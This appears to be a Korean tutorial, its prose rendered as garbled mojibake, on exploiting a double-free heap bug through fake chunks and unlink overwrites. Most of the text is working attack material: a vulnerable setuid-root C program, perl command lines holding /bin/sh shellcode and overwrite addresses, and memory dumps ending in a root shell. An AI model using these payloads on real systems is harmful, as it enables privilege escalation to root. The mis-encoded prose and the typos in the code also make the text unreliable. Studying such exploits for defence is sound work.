¸í½ÉÇÏÀÚ.^^ 2. Fake_chunk ¸Í±Û±â ÀÚ, ¾Õ¼­ ¿ì¸®´Â PREV_INUSE °¡ ¾î¶²½ÄÀ¸·Î ÀÛµ¿µÇ¸ç À̳ÑÀÌ free°úÁ¤¿¡¼­ ¸Þ¿ì Áß¿äÇÑ ¿ªÈ°À» ÇѴٴ°ÍÀ» ¾Ë¾Æº¸¾Ò´Ù. ±×¸®°í ÀÌ ¸ðµç °ªµéÀº ¿ì¸®°¡ ÀÚÀ¯·Ó°Ô ¿À¹ö½ÃÄѼ­ ¿ì¸® ¸¾µ¥·Î ÁÖ¹«¸¦¼öµµ ÀÖ´Â ¿µ¿ª¿¡ Á¸ÀçÇÑ´Ù´Â °Íµµ ¾Ë°í ÀÖ´Ù. ±×·³ º»°ÝÀûÀ¸·Î Fake_chunk¸¦ ¸¸µé¾îº¸µµ·Ï ÇÏÀÚ. ¾Õ¼­ ¿¹Á¦ÀÇ ´ýÇÁ¿¡¼­ ...[mol1Å©±â][maol2Å©±â][P]... ¿ä±â¸¦ À¯½ÉÈ÷ »ìÆ캸¸é ºÐ¸í free(mol1)ÀÌ µÈÈÄ¿¡ mol1 ÀÇ Å©±â¸¦ È®ÀÎÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. À̶§, mol1ÀÇ Å©±â¸¦ º¯È­ ½ÃÅ°¸é ¾î¶»°Ô µÉ±î? mol1ÀÇ Å©±â´Â 16¹ÙÀÌÆ® ÀÌÁö¸¸ free(mol1) ÀÌÈÄ mol1ÀÇ Å©±â¸¦ À½¼ö·Î Á¤ÀÇ ÇØÁشٸé?...Àüü chunk boundary ¾È¿¡¼­ mol2ÀÇ º´ÇÕÀÌ ÀÌ·ïÁö±â Àü¿¡ mol2ÀÇ chunk °¡ ¾Õ¼± mol1ÀÇ Å©±â¸¦ À½¼ö°ªÀ¸·Î ÀνÄÇÑ´Ù¸é ¿ì¸®´Â ½ÇÁ¦ mol1°ú mol2ÀÇ chunk »çÀÌ¿¡ ÀÓÀÇÀÇ chunk¸¦ ¸¸µé¾î ³¾ ¼ö ÀÖÀ»°ÍÀÌ´Ù.(¾î·Æ³²?) À̺κÐÀ» ¹Ýµå½Ã ÀÌÇØÇÏÀÚ!!! ´ÙÀ½À» º¸ÀÚ.. ¼Ò½º´Â ¾ÕÀÇ test2.c¸¦ ¾²µµ·Ï ÇÑ´Ù. $ ./test2 `perl -e 'printf "A"x16 ; printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xa4\x9a\x04\x08\xa4\x9a\x04\x08"'` 0x08049a74 19 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 0x08049a84 41 41 41 41 fc ff ff cf ff ff ff ff 74 9a 04 08 AAAA........t... 0x08049a94 74 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 t............... 0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049a74 15 00 00 00 10 ef 14 40 10 ef 14 40 41 41 41 41 .......@...@AAAA 0x08049a84 14 00 00 00 fc ff ff cf ff ff ff ff 74 9a 04 08 ............t... 0x08049a94 74 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 t............... 0x08049aa4 00 00 00 00 00 00 00 00 74 9a 04 08 74 9a 04 08 ........t...t... ÀÚ~~~ ÈïºÐµÈ´Ù...!! ¿ì¼± [mol1Å©±â]¿Í [mol2Å©±â] ¿¡ ÇØ´çÇÏ´Â 0xfffffffc 0xffffffff ´Â Á¶±Ý ÀÖ´Ù°¡ ¼³¸íÇϵµ·Ï ÇÏ°í...¿ì¼± °á°úÄ¡¸¦ º¸¸é¼­ ÈïºÐÀ» »èÇôº¸ÀÚ...¤»¤» [mol1:16][0xfffffffc][0xffffffff][fack_fd][fack_bk] ·Î ÀÔ·ÂÇÑ °ø°ÝÄÚµå·Î ÀÎÇÏ¿© ÇØ´ç ÁÖ¼ÒÀÎ 0x80049aa4 + 8 ÀÇ °ª°ú + 12 ÀÇ °ªÀÌ º¯°æµÈ°ÍÀ» º¼ ¼ö ÀÖ´Ù (¿Ö ±×·±Áö ¸ð¸£°Ú´ÂºÐÀº 1°­À» º¸¶ó!) ±×·¸´Ù¸é ¿ì¸®´Â ¿ì¸®°¡ ¿øÇÏ´Â RET ¿Í °°Àº ¹Î°¨ÇÑ ºÎºÐµµ º¯°æ ÇÒ ¼ö ÀÖ´Ù´Â °á·ÐÀÌ ³ª¿Â´Ù. ¿Í~.. ¿©±â¼­ 0xfffffffc ´Â ¹¹Çϴ³ÑÀ̳Ä?....°è»ê±â¸¦ ¿­¾î¼­ DEC "-4" ¸¦ HEX·Î ¹Ù²ã º¸½Ã¶ó..¾ó¸¶³ª¿À´Â°¨? 0xfffffffffffffffc ÀÌ ³ª¿Ã°ÍÀÌ´Ù.. ¹Ù·Î pre_size ¸¦ -4·Î º¯°æ ÇÏ¿©¼­ fack_chunk¸¦ »ý¼ºÇÑ°ÍÀÌ´Ù. ±×·³ PREV_INUSE´Â?...¶Ç, °è»ê±â ¿­¾îº¸½Ã¶ó À̳ðÀ» BIN °ªÀ¸·Î º¯È¯ Çϸé 1111111...11100 ÀÌ ³ª¿À´Â°ÍÀ» ¾Ë¼ö ÀÖ´Ù.. µû¶ó¼­ chunk2´Â Á¤»óÀûÀÎ ³ðÀÎÁÙ ¾Ë°í º´ÇÕ°úÁ¤À» ¼öÇàÇϰԵǰí À̶§ ÀÓÀ¸·Î ¸¸µé¾î³ÖÀº fd¿Í bk °ªÀ» µ¤¾î¾²·Á ÇÒ °ÍÀÌ´Ù. µû¶ó¼­ À§¿Í °°Àº ¸ÚÁø °ø°Ý¹æ¹ýÀÌ ¼º°ø ÇϰԵȰÍÀÌ´Ù....¹Ù·Î 0xfffffffffffffffc ¾ß ¸»·Î µÎ°¡Áö Á¶°Ç (1. pre_size¸¦ À½¼ö·Î 2. PREV_INUSE °ªÀ» 0À¸·Î)¸¦ ÃæºÐÈ÷ ¸¸Á· ½ÃÅ°´Â °ø°ÝÄÚµåÀÇ ÇÙ½ÉÀÌ µÈ´Ù.(-4, -6, ..±âŸµîµî PREV_INUSE °ªÀÌ 1¸¸¾Æ´Ï¸é À½¼ö°ªÀº ´Ù µÉ²¨´ç..±×·¯³ª ¾ÕÀ¸·Î´Â Çò°¥¸®´Ï±ñ -4¸¦ °è¼Ó ¾²µµ·Ï ÇÑ´Ù.) 3. jump_ahead CODE ¿Í junk µé... À½...ÈïºÐÀ» °¡¶ó¾ÉÈ÷°í º»°ÝÀûÀ¸·Î °ø°ÝÀ» Çغ¸ÀÚ. À§ÀÇ ±âÃÊÀûÀÎ °ø°Ý ¹æ¹ýÀ» Åä´ë·Î Â÷±ÙÂ÷±Ù °ø°ÝÀ» Çغ¸¸é...¿ì¼± Àú¹ø 1°­¿¡¼­ÀÇ fd,bkÀÇ ÀÌ»ÛÁþÀ» ±â¾ï ÇϽöó....¡ºfree°úÁ¤¿¡¼­ »ý¼ºµÇ´Â fd ´Â, fd°¡ °¡¸£Å°´Â ÁÖ¼Ò¹øÁöÀÇ +12 µÇ´Â°÷¿¡ bk °ªÀ» ³Ö°ÔµÇ°í, bk´Â, bk°¡ °¡¸£Å°´Â ÁÖ¼Ò¹øÁöÀÇ +8µÇ´Â °÷¿¡ fdÀÇ °ªÀ» ³Ö°ÔµÈ´Ù´Â°ÍÀ» ¾Ë¼ö ÀÖ´Ù.¡»... ÀÚ ±×·³ ´ÙÀ½°ú °°Àº ÀϹÝÀûÀÎ °ø°ÝÄڵ带 »ý°¢ÇÒ ¼ö ÀÖ°Ú´Ù. ..[mol1:16][0xfffffffc][0xffffffff][RET-12][shellcodeÀ§Ä¡].. ´ÙÀ½ÀÇ ÇÁ·Î±×·¥À» °ø·«Çغ¸ÀÚ. //test5.c #include #include "dumpcode.h" main(int argc, char *argv[]) { char *mol1; char *mol2; mol1 = malloc(160); mol2 = malloc(16); if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( mol1 , argv[1] ); dumpcode(mol2-172,192); // mol1Á» µå·Á´Ù º¸ÀÚ±¸! dumpcdoe(&mol2,16); // RET ¸Â³Ä free(mol1); dumpcode(mol2-172,192); // free ÈÄ¿¡µµ º¸ÀÚ±¸! dumpcdoe(&mol2,16); // RET º¯Á¶µÆ³ª? free(mol2); } ¿ì¸®´Â ´ÙÀ½°ú °°Àº °ø°Ý Äڵ带 ÀÛ¼º ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. INPUT : [NOP][Shellcode]..[0xfffffffffffffffc][RET-12][*NOP] ¾îµð °ø°ÝÇغ¸ÀÚ. RET : 0xbffff9dc NOP : 0x08049a84 $ ./test5 `perl -e 'printf "\x90"x97;printf "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";printf "\x41"x20;printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xd0\xf9\xff\xbf\x84\x9a\x04\x08"'` 0x08049a74 a9 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049a84 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F. 0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1..... 0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh 0x08049b04 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x08049b14 41 41 41 41 fc ff ff ff ff ff ff ff d0 f9 ff bf AAAA............ 0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 77 21 04 40 ...x.......w!.@ 0x08049a74 a5 00 00 00 a0 ef 14 40 a0 ef 14 40 90 90 90 90 .......@...@.... 0x08049a84 90 90 90 90 90 90 90 90 d0 f9 ff bf 90 90 90 90 ................ 0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F. 0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1..... 0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh 0x08049b04 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x08049b14 a4 00 00 00 fc ff ff ff ff ff ff ff d0 f9 ff bf ................ 0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 84 9a 04 08 ...x........... Illegal instruction (core dumped) À½...Á¤È®È÷ µÇ¾ú´Ù.RETÀ§Ä¡°¡ Á¤È®È÷ ¿ì¸®°¡ ¿øÇÏ´Â NOP·Î º¯°æµÈ°ÍÀ» º¸¾Ò´Ù...±×·±µ¥...ÀÌ°Ç¶Ç ¹¹³Ä.. 0x08049a84 90 90 90 90 90 90 90 90 d0 f9 ff bf 90 90 90 90 ¿©±â¸¦ º¸¸é bk +8 °ª¿ª½Ã º¯°æµÇ¾î¹ö¸°°ÍÀ» º¼ ¼ö ÀÖ´Ù...Áï Á¤È®È÷ RET¸¦ º¯Á¶ÇÏ¿© NOP·Î ¸ÂÃß¾úÀ¸³ª, ¿ì¸®°¡ ¸ÂÃá ±× ÁÖ¼ÒÀÇ +8 À§Ä¡µµ ÇÔ²² º¯°æµÇ¾î¹ö¸®¹Ç·Î ¿ì¸®´Â ¿øÇÏ´Â ½©ÄÚµå±îÁö ½ÇÇàÈ帧À» ²ø°í °¥¼ö ¾ø°Ô µÈ´Ù. ¿Ø ³¯º­¶ô...!! EGG¸¦ ÀÌ¿ëÇÏ¸é µÇÁö ¾Ê°Ú³Ä±¸?... EGG¸¦ ÀÌ¿ëÇصµ À§¿Í °°ÀÌ ¿ì¸®°¡ RETÀÇ ÁÖ¼Ò¸¦ º¯°æ½Ãų¶§ ±× º¯°æÇÏ´Â ÁÖ¼ÒÀÇ + 8 °ªÀº ¾ðÁ¦³ª º¯ÇÏ°Ô µÈ´Ù. ±×·¸´Ù¸é EGG°¡ ¹º¼Ò¿ëÀÌ·ª... BUT! ±×·¯³ª ¿ì¸®¿¡°Ô´Â jumpcode°¡ ÀÖ´Ù....Áï º¯°æµÈ RET ÁÖ¼ÒÀ§Ä¡¿¡ jumpcode¸¦ »ðÀÔÇÏ¿© bk·Î ÀÎÇÏ¿© º¯Á¶µÈ °ªÀ» ¶Ù¾î ³Ñ¾î¼­ ½ÇÇàÅä·Ï º¯°æÇÏ¿©ÁÖ¸é µÈ´Ù. ´Ù½Ã °ø°ÝÄڵ带 º¸¸é [junk1:12byte][jump ahead:2byte][junk2:10byte][NOP][shellcode][junk3][0xfffffffffffffffc][RET-12][*jump] ÀÌ¿Í °°Àº ÇüÅ·Π±¸Çö ÇÒ ¼ö ÀÖ´Ù. -. junk1 : º»·¡ÀÇ mol1ÀÌ freeµÉ¶§ »ý¼ºµÇ´Â fd, bk °ªÀ¸·Î º¯È¯(+4) -. junk2 : fake_bk¿¡ ÀÇÇÏ¿© »ý¼ºµÇ´Â °ªÀ¸·Î º¯È¯ -. junk3 : fake_chunk¿¡ ÀÇÇؼ­ »ý¼ºµÇ´Â pre_size°ªÀ¸·Î º¯È¯ -. jump ahead : ÇöÀ§Ä¡¿¡¼­ + 12 ¹ÙÀÌÆ® ÀÌ»ó Á¡ÇÁ(jumpcode:2byteÆ÷ÇÔ) : "\xeb\x{¨Í}" -- {¨Í}¸¸Å­ jump 4. ½ÇÀü DFB ÀÚ ´ÙµÇ¾ú´Ù. ÀÌÁ¦ ½ÇÀüÀ¸·Î °ø°ÝÀ» Çغ¸ÀÚ Ãë¾àÇÁ·Î±×·¥Àº À§ÀÇ test5¸¦ »ç¿ëÇÑ´Ù.(´ýÇÁµÈ¸ð½ÀÀ» º¸¸é¼­ Å×½ºÆ® Çغ¸¼¼¿ä) $ ls -l test5 -rwsr-xr-x 1 root root 15135 Mar 10 14:10 test5 ¾Õ¿¡¼­ ¼³¸íµÈ °ø°ÝÄڵ带 ¸¸µé¾îº¸ÀÚ. $./test5 `perl -e 'printf "A"x12;printf "\xeb\x0c";printf "B"x10;printf "\x90"x73;printf "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";printf "C"x20;printf "\xfc\xff\xff\xff\xff\xff\xff\xff\xd0\xf9\xff\xbf\x84\x9a\x04\x08"'` 0x08049a74 a9 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 0x08049a84 eb 0c 42 42 42 42 42 42 42 42 42 42 90 90 90 90 ..BBBBBBBBBB.... 0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F. 0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1..... 0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh 0x08049b04 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0x08049b14 43 43 43 43 fc ff ff ff ff ff ff ff d0 f9 ff bf CCCC............ 0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 77 21 04 40 ...x.......w!.@ 0x08049a74 a5 00 00 00 a0 ef 14 40 a0 ef 14 40 41 41 41 41 .......@...@AAAA 0x08049a84 eb 0c 42 42 42 42 42 42 d0 f9 ff bf 90 90 90 90 ..BBBBBB........ 0x08049a94 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049aa4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ab4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ac4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x08049ad4 90 90 90 90 90 eb 1d 5e 89 76 08 31 c0 88 46 07 .......^.v.1..F. 0x08049ae4 89 46 0c b0 0b 89 f3 8d 4e 08 31 d2 cd 80 b0 01 .F......N.1..... 0x08049af4 31 db cd 80 e8 de ff ff ff 2f 62 69 6e 2f 73 68 1......../bin/sh 0x08049b04 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0x08049b14 a4 00 00 00 fc ff ff ff ff ff ff ff d0 f9 ff bf ................ 0x08049b24 84 9a 04 08 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xbffff9d0 20 9b 04 08 78 9a 04 08 18 fa ff bf 84 9a 04 08 ...x........... sh-2.04# ¿À¿¹!!! ¾Õ¼­ ¸¸µé¾îº» °ø°ÝÄڵ尡 Á¤È®È÷ ÀÛµ¿ÇÑ°ÍÀ» º¼ ¼ö ÀÖ´Ù... ¿©±â¼­ A´Â junk1ÀÌ°í, B´Â junk2, C´Â junk3 ÀÌ´Ù. À§ÀÇ ¿¬½À Äڵ带 ÅëÇÑ ¹æ¹ý¿¡¼­´Â RET¿Í ½©ÄÚµåÀÇ À§Ä¡¸¦ Á¤È®È÷ ¾Ë°í¼­ °ø°ÝÀ» ÇÒ ¼ö ÀÖ¾úÁö¸¸ ½ÇÀü¿¡¼­ dumpµÇÁö ¾Ê´Â ÇÁ·Î±×·¥À» °ø·«Çϱâ¶õ ±×¸® ¸¸¸¸Ä¡ ¸¸Àº ¾Ê´Ù. µû¶ó¼­ DFB¿¡¼­´Â RETº¸´Ù´Â .dtors+4 À§Ä¡¸¦ °ø·« ÇÏ´Â ÆíÀÌ Á¶±Ý´õ À¯¸®Çϸç shellcode¸¦ ³Ö´Â À§Ä¡µµ heap¿µ¿ªÀ̳ª ±âŸ ȯ°æº¯¼ö ½©À» º¯ÇüÇÏ¿©(jump ahead code¸¦ »ðÀÔÇÑ) °ø·«ÇÏ¿©µµ ÁÁÀ» °Í °°´Ù. DFB´Â ±×µ¿¾È µîÇѽà µÇ´ø^^ heap¿µ¿ªÀ» ÅëÇÏ¿© ½©À» ȹµæ ÇÒ ¼ö ÀÖ´Ù´Â ÁÁÀº º»º¸±â°¡ µÈ´Ù. ¿ª½Ã ¸ðµç ÇÁ·Î±×·¥ÀÇ ½ÇÇàÁß¿¡ »ç¿ëµÇ´Â ¸Þ¸ð¸®¿Í ±× ¸ÞÄ¿´ÏÁòÀº ¾ðÁ¦³ª Ãë¾à¼ºÀÌ ³ëÃâµÇ¾îÀÖÀ¸¸ç À̸¦ º¸¿Ï ¹ßÀüÇÏ¿©¾ß ÇÏ´Â °ÍÀº hackerÀÇ ¸òÀ̶ó°í ´Ù½Ã Çѹø °­Á¶ÇÑ´Ù.